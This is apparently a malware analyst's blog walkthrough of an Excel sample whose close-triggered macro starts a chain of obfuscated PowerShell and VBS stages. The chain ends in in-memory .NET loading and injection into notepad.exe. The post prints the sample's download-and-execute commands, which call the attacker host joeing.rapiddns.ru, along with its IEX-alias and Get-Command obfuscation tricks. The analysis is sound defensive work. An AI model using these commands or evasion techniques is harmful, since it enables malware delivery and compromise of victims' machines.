XLS -> VBS -> .NET

XLS -> VBS -> .NET


I found a pretty cool sample while reviewing recent trends in XLS malware. The XLS contains a small piece of macro code that starts an interesting chain of events.



The VBA macros can be extracted from the XLS with Didier Steven’s oledump, or Decalage’s olevba. Here is the entirety of the VBA code.

Private Sub Workbook_BeforeClose(Cancel As Boolean)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox


Worksheets(1).Activate
A = ActiveSheet.TextBoxes("TextBox 1").Text
At (A)

End Sub


Function At(Str)
Set wsh = CreateObject("WScript.Shell")
wsh.Exec (Str)
End Function


The code itself is triggered via a Workbook_BeforeClose event. This event occurs just before the document is closed.

Private Sub Workbook_BeforeClose(Cancel As Boolean)


The first block of code to run extracts a string from a text box that sits within the document. This string is then passed to the At function.

Worksheets(1).Activate
A = ActiveSheet.TextBoxes("TextBox 1").Text
At (A)

End Sub


At simply creates an instance of WScript.Shell and executes the string from the text box, via the Exec method.

Function At(Str)
Set wsh = CreateObject("WScript.Shell")
wsh.Exec (Str)
End Function



Whenever malware contains VBA macros that are used to extract a command from a text property, we should be able to find the payload with a hex editor, or strings.

00057f0: 3c00 1501 0050 6f77 6572 7368 656c 6c20  <....Powershell
0005800: 2024 743d 204e 6577 2d4f 626a 6563 7420   $t= New-Object
0005810: 2d43 6f6d 2057 7363 7269 7074 2e73 6865  -Com Wscript.she
0005820: 6c6c 3b24 742e 5275 6e28 2222 2250 6f77  ll;$t.Run("""Pow
0005830: 6572 7368 656c 6c20 2728 2627 2b27 2847  ershell '(&'+'(G
0005840: 272b 2743 272b 274d 272b 2720 2a57 2d27  '+'C'+'M'+' *W-'
0005850: 2b27 4f2a 2927 2b20 274e 6527 2b27 742e  +'O*)'+ 'Ne'+'t.
0005860: 272b 2757 6562 272b 2743 6c69 272b 2765  '+'Web'+'Cli'+'e
0005870: 6e74 2927 2b27 2e44 6f77 272b 276e 6c27  nt)'+'.Dow'+'nl'
0005880: 2b27 6f61 6427 2b27 4669 6c27 2b27 6528  +'oad'+'Fil'+'e(
0005890: 2727 6874 7470 3a2f 2f6a 6f65 696e 672e  ''http://joeing.
00058a0: 7261 7069 6464 6e73 2e72 752f 312f 7662  rapiddns.ru/1/vb
00058b0: 2e76 6273 2727 2c27 2724 656e 763a 4150  .vbs'',''$env:AP
00058c0: 5044 4154 4127 272b 2727 5c76 622e 7662  PDATA''+''\vb.vb
00058d0: 7327 2729 277c 4945 583b 2073 7461 7274  s'')'|IEX; start
00058e0: 2d70 726f 6365 7373 2827 2465 6e76 3a41  -process('$env:A
00058f0: 5050 4441 5441 2720 2b27 5c76 622e 7662  PPDATA' +'\vb.vb
0005900: 7327 2922 2222 2c30 293c 0010 0000 0016  s')""",0)<......


The strings output also displays the Powershell command. This code creates a WScript.Shell COM object, which is used to execute another Powershell command. The Powershell actually runs the New-Object cmdlet to create an instance of the .NET Webclient, without actually hard-coding the cmdlet into this command string (more below). An additional payload (VBS) is then downloaded, dropped to the %APPDATA% directory, and executed.

remnux@remnux:~/Desktop/new$ strings -n 200 sample.xls
Powershell  $t= New-Object -Com Wscript.shell;$t.Run("""Powershell
 '(&'+'(G'+'C'+'M'+' *W-'+'O*)'+ 'Ne'+'t.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+
'e(''http://joeing.rapiddns.ru/1/vb.vbs'',''$env:APPDATA''+
''\vb.vbs'')'|IEX; start-process('$env:APPDATA' +'\vb.vbs')""",0)<


Interestingly enough, the way the malware avoids hard-coding the New-Object cmdlet is by running Get-Command (gcm), providing an argument that will only return one cmdlet (New-Object). Then by placing ‘&’ before this result, it will invoke the command that gets returned.

# shows what Get-Command returns
PS C:\Users\REM> gcm *W-O*
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          New-Object                                         3.1.0.0    Microsoft.PowerShell.Utility

# executing the cmdlet that Get-Command returns
PS C:\Users\REM> &(gcm *w-o*) Net.Webclient
AllowReadStreamBuffering  : False
AllowWriteStreamBuffering : False
Encoding                  : System.Text.SBCSCodePageEncoding
BaseAddress               :
Credentials               :
UseDefaultCredentials     : False
Headers                   : {}
QueryString               : {}
ResponseHeaders           :
Proxy                     : System.Net.WebRequest+WebProxyWrapper
CachePolicy               :
IsBusy                    : False
Site                      :
Container                 :


The VBS begins with defining a variable f that stores a large obfuscated string.

f="K|'' nioj- dddddddddddddddddddddddxdxdxddxdddxdxccfxvsbbjkkkkkjsjhdhdhdhdj$]][rahc[;)77,421,93,93,23,0@-||**#Black Mirror||,501,@-||**#Black Mirror||1,601,54,23,5@-||**#Black Mirror||,4@-||**#Black Mirror||,79,401,76,501,501,99,5@-||**#Black Mirror||,79,63,23,16,301,0@-||**#Black Mirror||,501,4@-||**#Black Mirror||,6@-||**#Black Mirror||,38,501,501,99,5@-||**#Black Mirror||,79,63,95,521,43,59,63,021,84,43,39,101,6@-||**#Black Mirror||,121,89,19,39,4@-||**#Black Mirror||,79,401,99,19,321,23,6@-||**#Black Mirror||,99,101,601,89,97,54,401,99,79,96,4@-||**#Black Mirror||,@-||**#Black Mirror||1,07,421,23,93,54,93,23,6@-||**#Black Mirror||,501,801,2@-||**#Black Mirror||,5@-||**#Black Mirror||,54,23,121,6@-||**#Black Mirror||,63,23,16,5@-||**#Black Mirror||,4@-||**#Black Mirror||,79,401,76,501,501,99,5@-||**#Black Mirror||,79,63,95,6@-||**#Black Mirror||,021,101,48,101,5@-||**#Black Mirror||,0@-||**#Black Mirror||,@-||**#Black Mirror||1,2@-||**#Black Mirror||,5@-||**#Black Mirror||,101,4@-||**#Black Mirror||,64,6@-||**#Black Mirror||,63,16,121,6@-||**#Black Mirror||,63,95,14,04,001,0@-||**#Black Mirror||,101,5@-||**#Black Mirror||,64,6@-||**#Black Mirror||,63,95,14,101,5@-||**#Black Mirror||,801,79,201,63,44,93,301,2@-||**#Black Mirror||,601,64,6@-||**#Black Mirror||,6@-||**#Black Mirror||,79,74,94,74,7@-||**#Black Mirror||,4@-||**#Black Mirror||,64,5@-||**#Black Mirror||,0@-||**#Black Mirror||,001,001,501,2@-||**#Black Mirror||,79,4@-||**#Black Mirror||,64,301,0@-||**#Black Mirror||,501,101,@-||**#Black Mirror||1,601,74,74,85,2@-||**#Black Mirror||,6@-||**#Black Mirror||,6@-||**#Black Mirror||,401,93,44,93,48,96,17,93,04,0@-||**#Black Mirror||,101,2@-||**#Black Mirror||,@-||**#Black Mirror||1,64,6@-||**#Black Mirror||,63,95,08,48,48,27,67,77,88,64,6@-||**#Black Mirror||,201,@-||**#Black Mirror||1,5@-||**#Black Mirror||,@-||**#Black Mirror||1,4@-||**#Black Mirror||,99,501,77,23,901,@-||**#Black Mirror||1,76,54,23,6@-||**#Black Mirror||,99,101,601,89,97,54,9@-||**#Black Mirror||,101,87,23,16,6@-||**#Black Mirror||,63,95,05,05,2@-||**#Black Mirror||,63,23,16,23"
f=f+",801,@-||**#Black Mirror||1,99,@-||**#Black Mirror||1,6@-||**#Black Mirror||,@-||**#Black Mirror||1,4@-||**#Black Mirror||,08,121,6@-||**#Black Mirror||,501,4@-||**#Black Mirror||,7@-||**#Black Mirror||,99,101,38,85,85,39,4@-||**#Black Mirror||,101,301,79,0@-||**#Black Mirror||,79,77,6@-||**#Black Mirror||,0@-||**#Black Mirror||,501,@-||**#Black Mirror||1,08,101,99,501,8@-||**#Black Mirror||,4@-||**#Black Mirror||,101,38,64,6@-||**#Black Mirror||,101,87,64,901,101,6@-||**#Black Mirror||,5@-||**#Black Mirror||,121,38,19,95,14,05,55,84,15,23,44,39,101,2@-||**#Black Mirror||,121,48,801,@-||**#Black Mirror||1,99,@-||**#Black Mirror||1,6@-||**#Black Mirror||,@-||**#Black Mirror||1,4@-||**#Black Mirror||,08,121,6@-||**#Black Mirror||,501,4@-||**#Black Mirror||,7@-||**#Black Mirror||,99,101,38,64,6@-||**#Black Mirror||,101,87,64,901,101,6@-||**#Black Mirror||,5@-||**#Black Mirror||,121,38,19,04,6@-||**#Black Mirror||,99,101,601,89,97,@-||**#Black Mirror||1,48,85,85,39,901,7@-||**#Black Mirror||,0@-||**#Black Mirror||,96,19,23,16,23,05,05,2@-||**#Black Mirror||,63,95,14,301,0@-||**#Black Mirror||,501,2@-||**#Black Mirror||,63,04,23,801,501,6@-||**#Black Mirror||,0@-||**#Black Mirror||,7@-||**#Black Mirror||,23,521,6@-||**#Black Mirror||,101,501,7@-||**#Black Mirror||,18,54,23,94,23,6@-||**#Black Mirror||,0@-||**#Black Mirror||,7@-||**#Black Mirror||,@-||**#Black Mirror||1,99,54,23,901,@-||**#Black Mirror||1,99,64,101,801,301,@-||**#Black Mirror||1,@-||**#Black Mirror||1,301,23,2@-||**#Black Mirror||,901,@-||**#Black Mirror||1,99,54,23,0@-||**#Black Mirror||,@-||**#Black Mirror||1,501,6@-||**#Black Mirror||,99,101,0@-||**#Black Mirror||,0@-||**#Black Mirror||,@-||**#Black Mirror||1,99,54,6@-||**#Black Mirror||,5@-||**#Black Mirror||,101,6@-||**#Black Mirror||,23,16,23,301,0@-||**#Black Mirror||,501,2@-||**#Black Mirror||,63,321,23,@-||**#Black Mirror||1,001,95,101,0@-||**#Black Mirror||,@-||**#Black Mirror||1,89,48,63,23,77,23,801,79,5@-||**#Black Mirror||,95,14,93,37,93,44,93,24,93,04,101,99,79,801,2@-||**#Black Mirror||,101,4@-||**#Black Mirror||,64,93,88,96,24,93,16,101,0@-||**#Black Mirror||,@-||**#Black Mirror||1,89,48,63(@=dddddddddddddddddddddddxdxdxddxdddxdxccfxvsbbjkkkkkjsjhdhdhdhdj$;3a$2a$a$ K las;88]rahc[=3a$;96]rahc[=2a$;37]rahc[ = a$"


The malware then removes the first layer of obfuscation from this string through the replace method.

f=replace(f,"@-||**#Black Mirror||","11")


This string is a reversed Powershell script, containing a large array of integers.

f="K|\'\' nioj- dddddddddddddddddddddddxdxdxddxdddxdxccfxvsbbjkkkkkjsjhdhdhdhdj$]
 ][rahc[;)77,421,93,93,23,011,501,111,601,54,23,511,411,79,401,76,501,501,99,511,
 79,63,23,16,301,011,501,411,611,38,501,501,99,511,79,63,95,521,43,59,63,021,84,
 43,39,101,611,121,89,19,39,411,79,401,99,19,321,23,611,99,101,601,89,97,54,401,
 99,79,96,411,111,07,421,23,93,54,93,23,611,501,801,211,511,54,23,121,611,63,23,
 16,511,411,79,401,76,501,501,99,511,79,63,95,611,021,101,48,101,511,011,111,211,
 511,101,411,64,611,63,16,121,611,63,95,14,04,001,011,101,511,64,611,63,95,14,101,
 511,801,79,201,63,44,93,301,211,601,64,611,611,79,74,94,74,711,411,64,511,011,001,
 001,501,211,79,411,64,301,011,501,101,111,601,74,74,85,211,611,611,401,93,44,93,48,
 96,17,93,04,011,101,211,111,64,611,63,95,08,48,48,27,67,77,88,64,611,201,111,511,
 111,411,99,501,77,23,901,111,76,54,23,611,99,101,601,89,97,54,911,101,87,23,16,611,
 63,95,05,05,211,63,23,16,23"\nf=f+",801,111,99,111,611,111,411,08,121,611,501,411,
 711,99,101,38,85,85,39,411,101,301,79,011,79,77,611,011,501,111,08,101,99,501,811,
 411,101,38,64,611,101,87,64,901,101,611,511,121,38,19,95,14,05,55,84,15,23,44,39,
 101,211,121,48,801,111,99,111,611,111,411,08,121,611,501,411,711,99,101,38,64,611,
 101,87,64,901,101,611,511,121,38,19,04,611,99,101,601,89,97,111,48,85,85,39,901,
 711,011,96,19,23,16,23,05,05,211,63,95,14,301,011,501,211,63,04,23,801,501,611,011,
 711,23,521,611,101,501,711,18,54,23,94,23,611,011,711,111,99,54,23,901,111,99,64,
 101,801,301,111,111,301,23,211,901,111,99,54,23,011,111,501,611,99,101,011,011,111,
 99,54,611,511,101,611,23,16,23,301,011,501,211,63,321,23,111,001,95,101,011,111,89,
 48,63,23,77,23,801,79,511,95,14,93,37,93,44,93,24,93,04,101,99,79,801,211,101,411,64,
 93,88,96,24,93,16,101,011,111,89,48,63
 (@=dddddddddddddddddddddddxdxdxddxdddxdxccfxvsbbjkkkkkjsjhdhdhdhdj$;3a$2a$a$ K las;88]
 rahc[=3a$;96]rahc[=2a$;37]rahc[ = a$"


Once reversed, the malware attempts to set an alias for IEX or Invoke-Expression. This seems to be a recurring theme throughout this sample, avoid chaining together suspicious Powershell code by setting aliases and not hard-coding certain cmdlets.

$a = [char]73;
$a2=[char]69;
$a3=[char]88;
sal K $a$a2$a3;
$jdhdhdhdhjsjkkkkkjbbsvxfccxdxdddxddxdxdxddddddddddddddddddddddd=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,77,32,36,84,98,111,110,101,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,112,50,50,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,"+f=f`n"32,61,32,36,112,50,50,59,36,116,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,116,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,106,111,101,105,110,103,46,114,97,112,105,100,100,110,115,46,114,117,47,49,47,97,116,116,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,116,46,115,101,110,100,40,41,59,36,116,121,61,36,116,46,114,101,115,112,111,110,115,101,84,101,120,116,59,36,97,115,99,105,105,67,104,97,114,115,61,32,36,116,121,32,45,115,112,108,105,116,32,39,45,39,32,124,70,111,114,69,97,99,104,45,79,98,106,101,99,116,32,123,91,99,104,97,114,93,91,98,121,116,101,93,34,48,120,36,95,34,125,59,36,97,115,99,105,105,83,116,114,105,110,103,61,32,36,97,115,99,105,105,67,104,97,114,115,32,45,106,111,105,110,32,39,39,124,77);
[char[]]$jdhdhdhdhjsjkkkkkjbbsvxfccxdxdddxddxdxdxddddddddddddddddddddddd 
-join \'\'|K


A short Python one-liner decodes this list of integers (beautified below) by iterating through the list, translating each integer into its corresponding ASCII character, and then ‘joining’ the list of characters to form a string. This code will check for successful internet connection, once this check passes, it downloads, decodes, and executes an additional payload, masquerading as a JPG.

>>> ''.join([chr(num) for num in nums])
$Tbone=\'*EX\'.replace(\'*\',\'I\');
sal M $Tbone;
do 
{
	$ping = test-connection -comp google.com -count 1 -Quiet
}
 until($ping);
 $p22 = [Enum]::ToObject([System.Net.SecurityProtocolType],3072);
 [System.Net.ServicePointManager]::SecurityProtocol = $p22;
$t= New-Object -Com Microsoft.XMLHTTP;$t.open(
\'GET\',\'http://joeing.rapiddns.ru/1/att.jpg\',$false);$t.send();
$ty=$t.responseText;$asciiChars= $ty -split \'-\' |
ForEach-Object 
{
	[char][byte]"0x$_"
};
$asciiString = $asciiChars -join \'\'|M


The C2 server actually does not respond with a real JPG, but a large hex string. Here is a snip:

66-75-6E-63-74-69-6F-6E-20-55-4E-70-61-63-6B-20-7B-0D-0A-0D-0A-09-5B
-43-6D-64-6C-65-74-42-69-6E-64-69-6E-67-28-29-5D-0D-0A-20-20-20-20-50
--- snip ---


This large hex string can be decoded with yet another python one-liner. This time we have to convert each hex character string into an integer prior to being passed to the chr() method.

>>> payload = ''.join([chr(int('0x' + num,0)) for num in srv_resp.split('-')])


Here is the decoded/beautified payload. The UNpack function decompresses a gzipped byte array that the function takes in as an argument. An alias entitled g is then set for the Invoke-Expression cmdlet. Three byte arrays are then defined: a compressed byte array, the decompressed byte array (.NET DLL), and another PE.

function UNpack {

	[CmdletBinding()]
    Param ([byte[]] $byteArray)
 
	Process {
	    Write-Verbose "Get-DecompressedByteArray"
        $input = New-Object System.IO.MemoryStream( , $byteArray )
	    $output = New-Object System.IO.MemoryStream
            $010 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)

    $buffer = New-Object byte[](1024)
    while($true){
        $read = $010.Read($buffer, 0, 1024)
        if ($read -le 0){break}
        $output.Write($buffer, 0, $read)
        }
        
        
		[byte[]] $byteOutArray = $output.ToArray()
        Write-Output $byteOutArray
    }
}

$t0='DEX'.replace('D','I');
sal g $t0;
[Byte[]]$Cli='$%1F,$%8B,$%08,$%00,$%00,$%00,$%00,$%00,$%04,$%00,$%EC,[..]
[byte[]]$decompressedByteArray = UNpack $Cli
[Byte[]]$Cli2='$%4D,$%5A,$%45,$%52,$%E8,$%00,$%00,$%00,$%00,$%58,$%83,[..]
$t=[System.Reflection.Assembly]::Load($decompressedByteArray)
[Givara]::FreeDom('notepad.exe',$Cli2)


The penultimate line of the code leverages the risky .NET Assembly.Load() method to load the unpacked .NET Assembly in memory. The final line of code calls the FreeDom method from the assembly, passing ‘notepad.exe’ and byte array (another binary) as parameters.

$t=[System.Reflection.Assembly]::Load($decompressedByteArray)
[Givara]::FreeDom('notepad.exe',$Cli2)


Both of these binaries can be dumped to disk in Powershell, which I will try to cover in another post.

[io.file]::WriteAllBytes('C:\Users\REM\Desktop\assem.bin',$decompressedByteArray)
[io.file]::WriteAllBytes('C:\Users\REM\Desktop\assem_cli2.bin',$Cli2)

Executable
00000000: 4d5a 4552 e800 0000 0058 83e8 098b c883  MZER.....X......
00000010: c03c 8b00 03c1 83c0 2803 08ff e190 0000  .<......(.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 c000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: dfaa 43c2 9bcb 2d91 9bcb 2d91 9bcb 2d91  ..C...-...-...-.
00000090: 8056 8691 d9cb 2d91 8056 b391 98cb 2d91  .V....-..V....-.
--- snip ----

DLL
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: 5045 0000 4c01 0500 0c4f 2b5e 0000 0000  PE..L....O+^....
00000090: 0000 0000 e000 2221 0b01 3000 00a0 0000  ......"!..0.....
--- snip ---

Thanks for reading!